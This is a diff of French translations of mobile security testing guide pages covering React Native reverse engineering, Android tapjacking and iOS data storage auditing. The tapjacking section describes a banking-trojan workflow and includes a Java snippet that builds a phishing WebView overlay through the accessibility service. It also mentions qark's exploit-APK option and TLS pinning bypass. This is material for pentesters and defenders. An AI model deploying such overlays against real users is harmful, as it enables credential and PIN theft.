- L'original **[hbctool](https://github.com/bongtrop/hbctool)** prend en charge le désassemblage du bundle et sa reconstruction après modifications, mais a historiquement pris en charge uniquement les anciennes versions de bytecode. Des forks maintenus par la communauté étendent le support aux nouvelles versions de Hermes (y compris les versions intermédiaires 80–96) et sont souvent l'option la plus pratique pour patcher les applications RN modernes.
|
||||
- L'outil **[hermes-dec](https://github.com/P1sec/hermes-dec)** ne prend pas en charge la reconstruction du bytecode (décompilateur/désassembleur uniquement), mais il est très utile pour naviguer dans la logique et extraire des chaînes.
|
||||
- L'outil **[hasmer](https://github.com/lucasbaizer2/hasmer)** vise à prendre en charge à la fois le désassemblage et l'assemblage pour plusieurs versions de Hermes ; l'assemblage est encore en maturation mais vaut la peine d'être essayé sur du bytecode récent.
|
||||
|
||||
@ -158,10 +158,10 @@ Avertissement : Dans les versions de production correctement construites, `DevSu
|
||||
### Interception réseau dans les applications RN
|
||||
|
||||
React Native Android s'appuie généralement sur OkHttp en arrière-plan (via le module natif `Networking`). Pour intercepter/observer le trafic sur un appareil non rooté lors de tests dynamiques :
|
||||
- Utilisez un proxy système + faites confiance au CA utilisateur ou utilisez d'autres techniques de contournement TLS Android génériques.
|
||||
- Astuce spécifique à RN : si l'application inclut Flipper en version de production par erreur (outils de débogage), le plugin Flipper Network peut exposer les requêtes/réponses.
|
||||
- Utilisez un proxy système + faites confiance au CA utilisateur ou utilisez d'autres techniques génériques de contournement TLS Android.
|
||||
- Astuce spécifique à RN : si l'application inclut Flipper en production par erreur (outils de débogage), le plugin réseau Flipper peut exposer les requêtes/réponses.
|
||||
|
||||
Pour des techniques génériques d'interception Android et de contournement de pinning, référez-vous à :
|
||||
Pour des techniques génériques d'interception Android et de contournement de pin, référez-vous à :
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
@ -175,7 +175,7 @@ frida-tutorial/objection-tutorial.md
|
||||
|
||||
Lors de l'audit des modules tiers visibles dans le bundle JS ou les bibliothèques natives, vérifiez les vulnérabilités connues et vérifiez les versions dans `package.json`/`yarn.lock`.
|
||||
|
||||
- react-native-mmkv (Android) : les versions antérieures à 2.11.0 enregistraient la clé de chiffrement optionnelle dans les journaux Android. Si ADB/logcat est disponible, des secrets pourraient être récupérés. Assurez-vous d'utiliser >= 2.11.0. Indicateurs : utilisation de `react-native-mmkv`, déclarations de journal mentionnant l'initialisation de MMKV avec chiffrement. CVE-2024-21668.
|
||||
- react-native-mmkv (Android) : les versions antérieures à 2.11.0 enregistraient la clé de chiffrement optionnelle dans les journaux Android. Si ADB/logcat est disponible, des secrets pourraient être récupérés. Assurez-vous d'avoir >= 2.11.0. Indicateurs : utilisation de `react-native-mmkv`, déclarations de journal mentionnant l'initialisation de MMKV avec chiffrement. CVE-2024-21668.
|
||||
- react-native-document-picker : les versions < 9.1.1 étaient vulnérables à la traversée de chemin sur Android (sélection de fichiers), corrigé dans 9.1.1. Validez les entrées et la version de la bibliothèque.
|
||||
|
||||
Vérifications rapides :
|
||||
|
@ -52,7 +52,7 @@ Un projet exemple implémentant **FloatingWindowApp**, qui peut être utilisé p
|
||||
> [!CAUTION]
|
||||
> Il semble que ce projet ne soit plus maintenu et que cette fonctionnalité ne fonctionne plus correctement
|
||||
|
||||
Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester les éventuelles vulnérabilités **Tapjacking**.\
|
||||
Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester les éventuelles vulnérabilités de **Tapjacking**.\
|
||||
|
||||
L'atténuation est relativement simple car le développeur peut choisir de ne pas recevoir d'événements tactiles lorsqu'une vue est recouverte par une autre. En utilisant la [Référence des développeurs Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
@ -68,7 +68,7 @@ En plus du Tapjacking classique, les familles de logiciels malveillants bancaire
|
||||
|
||||
### Comment ça fonctionne
|
||||
1. L'APK malveillant demande la permission très sensible `BIND_ACCESSIBILITY_SERVICE`, cachant généralement la demande derrière un faux dialogue Google/Chrome/visualiseur PDF.
|
||||
2. Une fois que l'utilisateur active le service, le logiciel malveillant simule programmétiquement les taps nécessaires pour accorder des permissions supplémentaires dangereuses (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
2. Une fois que l'utilisateur active le service, le logiciel malveillant simule programmatique les taps nécessaires pour accorder des permissions supplémentaires dangereuses (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. Un **WebView** est gonflé et ajouté au gestionnaire de fenêtres en utilisant le type de fenêtre **`TYPE_ACCESSIBILITY_OVERLAY`**. La superposition peut être rendue totalement opaque ou semi-transparente et peut être marquée comme *“à travers”* afin que les touches d'origine soient toujours livrées à l'activité en arrière-plan (ainsi la transaction se produit réellement pendant que la victime ne voit que le formulaire de phishing).
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
@ -85,7 +85,7 @@ WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL, // «through» flag →
|
||||
PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
### Flux de travail typique utilisé par les chevaux de Troie bancaires
|
||||
### Workflow typique utilisé par les chevaux de Troie bancaires
|
||||
* Interroger les packages installés (`QUERY_ALL_PACKAGES`) pour déterminer quelle application bancaire / portefeuille est actuellement ouverte.
|
||||
* Télécharger un **modèle de superposition HTML/JS** depuis le C2 qui imite parfaitement cette application spécifique (logo, couleurs, chaînes i18n…).
|
||||
* Afficher la superposition, récolter les identifiants/numéros PIN/motif.
|
||||
|
@ -4,6 +4,7 @@
|
||||
|
||||
## iOS Basics
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-basics.md
|
||||
{{#endref}}
|
||||
@ -12,6 +13,7 @@ ios-basics.md
|
||||
|
||||
Dans cette page, vous pouvez trouver des informations sur le **simulateur iOS**, les **émulateurs** et le **jailbreaking** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-testing-environment.md
|
||||
{{#endref}}
|
||||
@ -20,7 +22,8 @@ ios-testing-environment.md
|
||||
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
Pendant le test, **plusieurs opérations vont être suggérées** (se connecter à l'appareil, lire/écrire/télécharger/téléverser des fichiers, utiliser certains outils...). Par conséquent, si vous ne savez pas comment effectuer l'une de ces actions, veuillez **commencer à lire la page** :
|
||||
Lors des tests, **plusieurs opérations vont être suggérées** (se connecter à l'appareil, lire/écrire/télécharger/téléverser des fichiers, utiliser certains outils...). Par conséquent, si vous ne savez pas comment effectuer l'une de ces actions, veuillez **commencer à lire la page** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
@ -41,7 +44,7 @@ Il est recommandé d'utiliser l'outil [**MobSF**](https://github.com/MobSF/Mobil
|
||||
|
||||
Identification des **protections présentes dans le binaire** :
|
||||
|
||||
- **PIE (Position Independent Executable)** : Lorsqu'il est activé, l'application se charge à une adresse mémoire aléatoire chaque fois qu'elle se lance, rendant plus difficile la prévision de son adresse mémoire initiale.
|
||||
- **PIE (Position Independent Executable)** : Lorsqu'il est activé, l'application se charge à une adresse mémoire aléatoire à chaque lancement, rendant plus difficile la prévision de son adresse mémoire initiale.
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # Il devrait inclure le drapeau PIE
|
||||
@ -135,7 +138,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Consultez l'analyse dynamique que [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) effectue. Vous devrez naviguer à travers les différentes vues et interagir avec elles, mais cela va accrocher plusieurs classes en faisant d'autres choses et préparera un rapport une fois que vous aurez terminé.
|
||||
Consultez l'analyse dynamique que [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) effectue. Vous devrez naviguer à travers les différentes vues et interagir avec elles, mais cela va accrocher plusieurs classes en effectuant d'autres actions et préparera un rapport une fois que vous aurez terminé.
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -152,7 +155,7 @@ PID Name Identifier
|
||||
- Camera com.apple.camera
|
||||
- iGoat-Swift OWASP.iGoat-Swift
|
||||
```
|
||||
### Énumération de base et Hooking
|
||||
### Énumération de base & Hooking
|
||||
|
||||
Apprenez à **énumérer les composants de l'application** et comment **hooker facilement des méthodes et des classes** avec objection :
|
||||
|
||||
@ -168,7 +171,7 @@ La structure d'un **fichier IPA** est essentiellement celle d'un **package compr
|
||||
- **`_CodeSignature/`** : Ce répertoire inclut un fichier plist qui contient une signature, garantissant l'intégrité de tous les fichiers dans le bundle.
|
||||
- **`Assets.car`** : Une archive compressée qui stocke des fichiers d'actifs comme des icônes.
|
||||
- **`Frameworks/`** : Ce dossier abrite les bibliothèques natives de l'application, qui peuvent être sous forme de fichiers `.dylib` ou `.framework`.
|
||||
- **`PlugIns/`** : Cela peut inclure des extensions à l'application, connues sous le nom de fichiers `.appex`, bien qu'elles ne soient pas toujours présentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata) : Il est utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, pour mettre en cache des données temporaires et pour ajouter une fonctionnalité d'annulation à votre application sur un seul appareil. Pour synchroniser des données sur plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit.
|
||||
- **`PlugIns/`** : Cela peut inclure des extensions à l'application, connues sous le nom de fichiers `.appex`, bien qu'elles ne soient pas toujours présentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata) : Il est utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, pour mettre en cache des données temporaires et pour ajouter une fonctionnalité d'annulation à votre application sur un seul appareil. Pour synchroniser les données entre plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html) : Le fichier `PkgInfo` est un moyen alternatif de spécifier les codes de type et de créateur de votre application ou bundle.
|
||||
- **en.lproj, fr.proj, Base.lproj** : Sont les packs de langue qui contiennent des ressources pour ces langues spécifiques, et une ressource par défaut au cas où une langue ne serait pas supportée.
|
||||
- **Sécurité** : Le répertoire `_CodeSignature/` joue un rôle critique dans la sécurité de l'application en vérifiant l'intégrité de tous les fichiers empaquetés grâce à des signatures numériques.
|
||||
@ -178,7 +181,7 @@ La structure d'un **fichier IPA** est essentiellement celle d'un **package compr
|
||||
|
||||
**Info.plist**
|
||||
|
||||
Le **Info.plist** sert de pierre angulaire pour les applications iOS, encapsulant des données de configuration clés sous forme de **paires clé-valeur**. Ce fichier est requis non seulement pour les applications mais aussi pour les extensions d'application et les frameworks empaquetés. Il est structuré en format XML ou binaire et contient des informations critiques allant des autorisations d'application aux configurations de sécurité. Pour une exploration détaillée des clés disponibles, on peut se référer à la [**Documentation des développeurs Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
Le **Info.plist** sert de pierre angulaire pour les applications iOS, encapsulant des données de configuration clés sous forme de **paires clé-valeur**. Ce fichier est requis non seulement pour les applications mais aussi pour les extensions d'application et les frameworks inclus. Il est structuré en format XML ou binaire et contient des informations critiques allant des autorisations d'application aux configurations de sécurité. Pour une exploration détaillée des clés disponibles, on peut se référer à la [**Documentation des développeurs Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Pour ceux qui souhaitent travailler avec ce fichier dans un format plus accessible, la conversion XML peut être réalisée facilement grâce à l'utilisation de `plutil` sur macOS (disponible nativement sur les versions 10.2 et ultérieures) ou `plistutil` sur Linux. Les commandes pour la conversion sont les suivantes :
|
||||
|
||||
@ -195,7 +198,7 @@ Parmi la myriade d'informations que le fichier **Info.plist** peut divulguer, le
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
**Data Paths**
|
||||
**Chemins de données**
|
||||
|
||||
Dans l'environnement iOS, les répertoires sont désignés spécifiquement pour les **applications système** et les **applications installées par l'utilisateur**. Les applications système résident dans le répertoire `/Applications`, tandis que les applications installées par l'utilisateur sont placées sous `/var/mobile/containers/Data/Application/`. Ces applications se voient attribuer un identifiant unique connu sous le nom de **UUID 128 bits**, rendant la tâche de localiser manuellement le dossier d'une application difficile en raison de l'aléatoire des noms de répertoire.
|
||||
|
||||
@ -243,14 +246,14 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Contient tous les **fichiers qui ne sont pas spécifiques à l'utilisateur**, tels que **caches**, **préférences**, **cookies**, et fichiers de configuration de liste de propriétés (plist).
|
||||
- Les applications iOS utilisent généralement les sous-répertoires `Application Support` et `Caches`, mais l'application peut créer des sous-répertoires personnalisés.
|
||||
- **Library/Caches/**
|
||||
- Contient des **fichiers mis en cache semi-persistants.**
|
||||
- Contient des **fichiers cache semi-persistants.**
|
||||
- Invisible pour les utilisateurs et **les utilisateurs ne peuvent pas y écrire**.
|
||||
- Le contenu de ce répertoire **n'est pas sauvegardé**.
|
||||
- Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application n'est pas en cours d'exécution et que l'espace de stockage est faible.
|
||||
- **Library/Application Support/**
|
||||
- Contient des **fichiers persistants** nécessaires au fonctionnement de l'application.
|
||||
- **Invisible** **pour** **les utilisateurs** et les utilisateurs ne peuvent pas y écrire.
|
||||
- Le contenu de ce répertoire est **sauvegardé**.
|
||||
- Le contenu de ce répertoire **est sauvegardé**.
|
||||
- L'application peut désactiver des chemins en définissant `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
- Utilisé pour stocker des propriétés qui peuvent **persister même après le redémarrage d'une application**.
|
||||
@ -258,7 +261,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Tous les paires clé/valeur stockées en utilisant `NSUserDefaults` peuvent être trouvées dans ce fichier.
|
||||
- **tmp/**
|
||||
- Utilisez ce répertoire pour écrire des **fichiers temporaires** qui n'ont pas besoin de persister entre les lancements de l'application.
|
||||
- Contient des fichiers mis en cache non persistants.
|
||||
- Contient des fichiers cache non persistants.
|
||||
- **Invisible** pour les utilisateurs.
|
||||
- Le contenu de ce répertoire n'est pas sauvegardé.
|
||||
- Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application n'est pas en cours d'exécution et que l'espace de stockage est faible.
|
||||
@ -357,7 +360,7 @@ double _field2;
|
||||
```
|
||||
Cependant, les meilleures options pour désassembler le binaire sont : [**Hopper**](https://www.hopperapp.com/download.html?) et [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
## Stockage des données
|
||||
## Stockage de données
|
||||
|
||||
Pour en savoir plus sur la façon dont iOS stocke les données sur l'appareil, lisez cette page :
|
||||
|
||||
@ -373,13 +376,13 @@ ios-basics.md
|
||||
|
||||
Les fichiers **plist** sont des fichiers XML structurés qui **contiennent des paires clé-valeur**. C'est un moyen de stocker des données persistantes, donc parfois vous pouvez trouver **des informations sensibles dans ces fichiers**. Il est recommandé de vérifier ces fichiers après l'installation de l'application et après une utilisation intensive pour voir si de nouvelles données sont écrites.
|
||||
|
||||
La façon la plus courante de persister des données dans des fichiers plist est par l'utilisation de **NSUserDefaults**. Ce fichier plist est enregistré dans le bac à sable de l'application dans **`Library/Preferences/<appBundleID>.plist`**
|
||||
La manière la plus courante de persister des données dans des fichiers plist est par l'utilisation de **NSUserDefaults**. Ce fichier plist est enregistré à l'intérieur du bac à sable de l'application dans **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fournit une interface programmatique pour interagir avec le système par défaut. Le système par défaut permet à une application de personnaliser son comportement en fonction des **préférences de l'utilisateur**. Les données enregistrées par `NSUserDefaults` peuvent être consultées dans le bundle de l'application. Cette classe stocke **des données** dans un **fichier plist**, mais elle est destinée à être utilisée avec de petites quantités de données.
|
||||
|
||||
Ces données ne peuvent plus être accessibles directement via un ordinateur de confiance, mais peuvent être accessibles en effectuant une **sauvegarde**.
|
||||
|
||||
Vous pouvez **extraire** les informations enregistrées en utilisant **`NSUserDefaults`** avec `objection's ios nsuserdefaults get`
|
||||
Vous pouvez **dumper** les informations enregistrées en utilisant **`NSUserDefaults`** avec `objection's ios nsuserdefaults get`
|
||||
|
||||
Pour trouver tous les plist utilisés par l'application, vous pouvez accéder à `/private/var/mobile/Containers/Data/Application/{APPID}` et exécuter :
|
||||
```bash
|
||||
@ -396,14 +399,14 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Dans une session Objection :** Pour analyser des applications mobiles, une commande spécifique vous permet de convertir directement des fichiers plist :
|
||||
**Dans une session Objection :** Pour analyser des applications mobiles, une commande spécifique vous permet de convertir des fichiers plist directement :
|
||||
```bash
|
||||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) est un framework pour gérer la couche modèle des objets dans votre application. [Core Data peut utiliser SQLite comme son magasin persistant](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), mais le framework lui-même n'est pas une base de données.\
|
||||
CoreData n'encrypte pas ses données par défaut. Cependant, une couche de chiffrement supplémentaire peut être ajoutée à CoreData. Voir le [GitHub Repo](https://github.com/project-imas/encrypted-core-data) pour plus de détails.
|
||||
CoreData n'encrypte pas ses données par défaut. Cependant, une couche de chiffrement supplémentaire peut être ajoutée à CoreData. Consultez le [GitHub Repo](https://github.com/project-imas/encrypted-core-data) pour plus de détails.
|
||||
|
||||
Vous pouvez trouver les informations SQLite Core Data d'une application dans le chemin `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
@ -438,7 +441,7 @@ Comme les bases de données Yap sont des bases de données sqlite, vous pouvez l
|
||||
|
||||
### Autres bases de données SQLite
|
||||
|
||||
Il est courant que les applications créent leur propre base de données sqlite. Elles peuvent **stocker** **des** **données** **sensibles** et les laisser non chiffrées. Par conséquent, il est toujours intéressant de vérifier chaque base de données dans le répertoire des applications. Allez donc dans le répertoire de l'application où les données sont enregistrées (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Il est courant que les applications créent leur propre base de données sqlite. Elles peuvent **stocker** des **données** **sensibles** et les laisser non chiffrées. Par conséquent, il est toujours intéressant de vérifier chaque base de données dans le répertoire des applications. Allez donc dans le répertoire de l'application où les données sont enregistrées (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -487,7 +490,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
```
|
||||
### Cookies
|
||||
|
||||
iOS stocke les cookies des applications dans le **`Library/Cookies/cookies.binarycookies`** à l'intérieur de chaque dossier d'application. Cependant, les développeurs décident parfois de les enregistrer dans le **keychain** car le fichier **cookie mentionné peut être accessible dans les sauvegardes**.
|
||||
iOS stocke les cookies des applications dans le **`Library/Cookies/cookies.binarycookies`** à l'intérieur de chaque dossier d'application. Cependant, les développeurs décident parfois de les enregistrer dans le **keychain** car le **fichier de cookies mentionné peut être accessible dans les sauvegardes**.
|
||||
|
||||
Pour inspecter le fichier de cookies, vous pouvez utiliser [**ce script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou utiliser **`ios cookies get`** d'objection.\
|
||||
**Vous pouvez également utiliser objection pour** convertir ces fichiers en format JSON et inspecter les données.
|
||||
@ -508,7 +511,7 @@ Pour inspecter le fichier de cookies, vous pouvez utiliser [**ce script python**
|
||||
```
|
||||
### Cache
|
||||
|
||||
Par défaut, NSURLSession stocke des données, telles que **les requêtes et réponses HTTP dans la base de données Cache.db**. Cette base de données peut contenir **des données sensibles**, si des tokens, des noms d'utilisateur ou toute autre information sensible ont été mises en cache. Pour trouver les informations mises en cache, ouvrez le répertoire de données de l'application (`/var/mobile/Containers/Data/Application/<UUID>`) et allez dans `/Library/Caches/<Bundle Identifier>`. Le **cache WebKit est également stocké dans le fichier Cache.db**. **Objection** peut ouvrir et interagir avec la base de données avec la commande `sqlite connect Cache.db`, car c'est une **base de données SQLite normale**.
|
||||
Par défaut, NSURLSession stocke des données, telles que **les requêtes et réponses HTTP dans la base de données Cache.db**. Cette base de données peut contenir **des données sensibles**, si des tokens, des noms d'utilisateur ou toute autre information sensible ont été mises en cache. Pour trouver les informations mises en cache, ouvrez le répertoire de données de l'application (`/var/mobile/Containers/Data/Application/<UUID>`) et allez à `/Library/Caches/<Bundle Identifier>`. Le **cache WebKit est également stocké dans le fichier Cache.db**. **Objection** peut ouvrir et interagir avec la base de données avec la commande `sqlite connect Cache.db`, car c'est une **base de données SQLite normale**.
|
||||
|
||||
Il est **recommandé de désactiver la mise en cache de ces données**, car elles peuvent contenir des informations sensibles dans la requête ou la réponse. La liste suivante montre différentes façons d'y parvenir :
|
||||
|
||||
@ -524,7 +527,7 @@ Cette méthode supprimera toutes les requêtes et réponses mises en cache du fi
|
||||
|
||||
`Un objet de configuration de session éphémère est similaire à une configuration de session par défaut (voir défaut), sauf que l'objet de session correspondant ne stocke pas de caches, de magasins d'identifiants ou de données liées à la session sur le disque. Au lieu de cela, les données liées à la session sont stockées dans la RAM. La seule fois qu'une session éphémère écrit des données sur le disque, c'est lorsque vous lui dites d'écrire le contenu d'une URL dans un fichier.`
|
||||
|
||||
3. Le cache peut également être désactivé en définissant la politique de cache sur [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Cela désactivera le stockage du cache de toute manière, que ce soit en mémoire ou sur disque.
|
||||
3. Le cache peut également être désactivé en définissant la politique de cache sur [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Cela désactivera le stockage du cache de quelque manière que ce soit, que ce soit en mémoire ou sur disque.
|
||||
|
||||
### Snapshots
|
||||
|
||||
@ -532,9 +535,9 @@ Chaque fois que vous appuyez sur le bouton d'accueil, iOS **prend un instantané
|
||||
|
||||
À moins que l'iPhone ne soit jailbreaké, l'**attaquant** doit avoir **accès** à l'**appareil** **débloqué** pour voir ces captures d'écran. Par défaut, le dernier instantané est stocké dans le bac à sable de l'application dans le dossier `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (les ordinateurs de confiance ne peuvent pas accéder au système de fichiers depuis iOS 7.0).
|
||||
|
||||
Une façon de prévenir ce mauvais comportement est de mettre un écran vide ou de supprimer les données sensibles avant de prendre l'instantané en utilisant la fonction `ApplicationDidEnterBackground()`.
|
||||
Une façon de prévenir ce comportement indésirable est de mettre un écran vide ou de supprimer les données sensibles avant de prendre l'instantané en utilisant la fonction `ApplicationDidEnterBackground()`.
|
||||
|
||||
Le suivant est un exemple de méthode de remédiation qui définira un instantané par défaut.
|
||||
Voici un exemple de méthode de remédiation qui définira un instantané par défaut.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -551,7 +554,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
|
||||
backgroundImage?.removeFromSuperview()
|
||||
}
|
||||
```
|
||||
Objectif-C :
|
||||
Objective-C :
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
@ -584,7 +587,7 @@ Pour extraire ces identifiants stockés, la commande `ios nsurlcredentialstorage
|
||||
|
||||
## **Claviers personnalisés et cache de clavier**
|
||||
|
||||
Avec iOS 8.0 et versions ultérieures, les utilisateurs peuvent installer des extensions de clavier personnalisées, qui sont gérables sous **Réglages > Général > Clavier > Claviers**. Bien que ces claviers offrent des fonctionnalités étendues, ils présentent un risque d'enregistrement des frappes et de transmission de données vers des serveurs externes, bien que les utilisateurs soient informés des claviers nécessitant un accès réseau. Les applications peuvent, et doivent, restreindre l'utilisation de claviers personnalisés pour la saisie d'informations sensibles.
|
||||
Avec iOS 8.0 et versions ultérieures, les utilisateurs peuvent installer des extensions de clavier personnalisées, qui sont gérables sous **Réglages > Général > Clavier > Claviers**. Bien que ces claviers offrent une fonctionnalité étendue, ils présentent un risque d'enregistrement des frappes et de transmission de données vers des serveurs externes, bien que les utilisateurs soient informés des claviers nécessitant un accès réseau. Les applications peuvent, et doivent, restreindre l'utilisation de claviers personnalisés pour la saisie d'informations sensibles.
|
||||
|
||||
**Recommandations de sécurité :**
|
||||
|
||||
@ -594,25 +597,25 @@ Avec iOS 8.0 et versions ultérieures, les utilisateurs peuvent installer des ex
|
||||
|
||||
### **Prévention du cache des champs de texte**
|
||||
|
||||
Le [protocole UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre des propriétés pour gérer la correction automatique et la saisie de texte sécurisée, essentielles pour prévenir le cache d'informations sensibles. Par exemple, désactiver la correction automatique et activer la saisie de texte sécurisée peut être réalisé avec :
|
||||
Le [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) offre des propriétés pour gérer la correction automatique et la saisie de texte sécurisée, essentielles pour prévenir le cache d'informations sensibles. Par exemple, désactiver la correction automatique et activer la saisie de texte sécurisée peut être réalisé avec :
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
De plus, les développeurs doivent s'assurer que les champs de texte, en particulier ceux pour entrer des informations sensibles comme les mots de passe et les codes PIN, désactivent la mise en cache en définissant `autocorrectionType` sur `UITextAutocorrectionTypeNo` et `secureTextEntry` sur `YES`.
|
||||
De plus, les développeurs doivent s'assurer que les champs de texte, en particulier ceux pour entrer des informations sensibles comme les mots de passe et les PIN, désactivent la mise en cache en définissant `autocorrectionType` sur `UITextAutocorrectionTypeNo` et `secureTextEntry` sur `YES`.
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **Logs**
|
||||
|
||||
Le débogage de code implique souvent l'utilisation de **logging**. Il y a un risque car **les logs peuvent contenir des informations sensibles**. Auparavant, dans iOS 6 et les versions antérieures, les logs étaient accessibles à toutes les applications, posant un risque de fuite de données sensibles. **Maintenant, les applications sont limitées à l'accès uniquement à leurs logs**.
|
||||
Le débogage du code implique souvent l'utilisation de **logging**. Il y a un risque car **les logs peuvent contenir des informations sensibles**. Auparavant, dans iOS 6 et les versions antérieures, les logs étaient accessibles à toutes les applications, posant un risque de fuite de données sensibles. **Maintenant, les applications sont limitées à l'accès uniquement à leurs logs**.
|
||||
|
||||
Malgré ces restrictions, un **attaquant ayant un accès physique** à un appareil déverrouillé peut toujours en tirer parti en connectant l'appareil à un ordinateur et en **lisant les logs**. Il est important de noter que les logs restent sur le disque même après la désinstallation de l'application.
|
||||
|
||||
Pour atténuer les risques, il est conseillé de **interagir en profondeur avec l'application**, en explorant toutes ses fonctionnalités et entrées pour s'assurer qu'aucune information sensible n'est enregistrée par inadvertance.
|
||||
|
||||
Lors de l'examen du code source de l'application à la recherche de fuites potentielles, recherchez à la fois des **déclarations de logging** **prédéfinies** et **personnalisées** en utilisant des mots-clés tels que `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` pour les fonctions intégrées, et toute mention de `Logging` ou `Logfile` pour les implémentations personnalisées.
|
||||
Lors de l'examen du code source de l'application à la recherche de fuites potentielles, recherchez à la fois des **instructions de logging** **prédéfinies** et **personnalisées** en utilisant des mots-clés tels que `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` pour les fonctions intégrées, et toute mention de `Logging` ou `Logfile` pour les implémentations personnalisées.
|
||||
|
||||
### **Monitoring System Logs**
|
||||
|
||||
@ -634,7 +637,7 @@ Pour un journalisation plus avancée, se connecter au shell de l'appareil et uti
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
Suivi des commandes pour observer les activités de journal, ce qui peut être inestimable pour diagnostiquer des problèmes ou identifier des fuites potentielles de données dans les journaux.
|
||||
Suivi des commandes pour observer les activités de journal, ce qui peut être inestimable pour diagnostiquer des problèmes ou identifier des fuites de données potentielles dans les journaux.
|
||||
|
||||
## Sauvegardes
|
||||
|
||||
@ -665,7 +668,7 @@ Des informations sensibles peuvent être recherchées à l'aide d'outils en lign
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
Pour traiter les sauvegardes chiffrées, des scripts Python disponibles dans le [répertoire GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), comme **backup_tool.py** et **backup_passwd.py**, peuvent être utiles, bien qu'ils nécessitent potentiellement des ajustements pour être compatibles avec les dernières versions d'iTunes/Finder. L'outil [**iOSbackup**](https://pypi.org/project/iOSbackup/) est une autre option pour accéder aux fichiers dans des sauvegardes protégées par mot de passe.
|
||||
